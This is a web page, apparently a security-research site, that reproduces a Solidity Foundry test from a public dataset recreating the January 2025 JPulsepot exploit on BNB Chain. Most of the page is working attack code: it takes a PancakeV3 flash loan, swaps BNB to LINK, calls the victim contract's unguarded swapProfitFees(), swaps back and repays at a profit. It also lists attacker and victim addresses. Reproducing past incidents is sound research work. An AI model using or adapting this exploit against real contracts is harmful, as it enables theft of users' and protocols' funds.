Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/JPulsepot_exp.sol

Public reproduction file for dataset entry JPulsepot.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/JPulsepot_exp.sol77 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 21.5K
7// Attacker : https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8
8// Attack Contract : https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7
9// Created Attack Contract: https://bscscan.com/address/0x818CD70bE0C9DEC3B0bc52eFAACEb06469Ce587F
10// Vulnerable Contract : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e
11// Attack Tx : https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/CertiKAlert/status/1877662352834793639
19// Hacking God :
20pragma solidity ^0.8.0;
22import "../interface.sol";
24interface IFortuneWheel {
25 function swapProfitFees() external;
28contract JPulsepot is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 45_640_245;
30 address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
31 address internal constant BNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32 address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
33 address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;
34 address internal constant victim = 0x384b9fb6E42dab87F3023D87ea1575499A69998E;
36 function setUp() public {
37 vm.createSelectFork("bsc", blocknumToForkFrom);
38 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
39 fundingToken = address(BNB);
40 }
42 function testExploit() public balanceLog {
43 //implement exploit code here
44 address recipient = address(this);
45 uint256 amount0 = 0;
46 uint256 amount1 = 4_300_000_000_000_000_000_000;
47 bytes memory data = abi.encode(amount1);
48 IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);
49 }
51 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
52 uint256 amount = abi.decode(data, (uint256));
54 IERC20(BNB).approve(PancakeV2Router, type(uint256).max);
56 uint256 amountIn = amount;
57 uint256 amonutOutMin = 0;
58 address[] memory path = new address[](2);
59 path[0] = BNB;
60 path[1] = LINK;
61 address recipient = address(this);
62 uint256 deadline = block.timestamp;
63 IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amonutOutMin, path, recipient, deadline);
65 IFortuneWheel(victim).swapProfitFees();
67 IERC20(LINK).approve(PancakeV2Router, type(uint256).max);
69 amountIn = IERC20(LINK).balanceOf(address(this));
70 path[0] = LINK;
71 path[1] = BNB;
72 IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, recipient, deadline);
73 IERC20(BNB).transfer(msg.sender, amount+fee1);
74 }
76 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “JPulsepot” (2025-01-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8

  • Attack Contract

    0xe40ab156440804c3404bb80cbb6b47dddd3abfd7

  • Vulnerable Contract

    0x384b9fb6e42dab87f3023d87ea1575499a69998e

  • Attack Tx

    0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da

File record

Name
JPulsepot
Path
src/test/2025-01/JPulsepot_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2a6f2da373a2ff550ee453c4fc5183e1c02c54ae
Language
Solidity
Size
78 lines
Date
2025-01-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/JPulsepot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2a6f2da373a2ff550ee453c4fc5183e1c02c54ae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.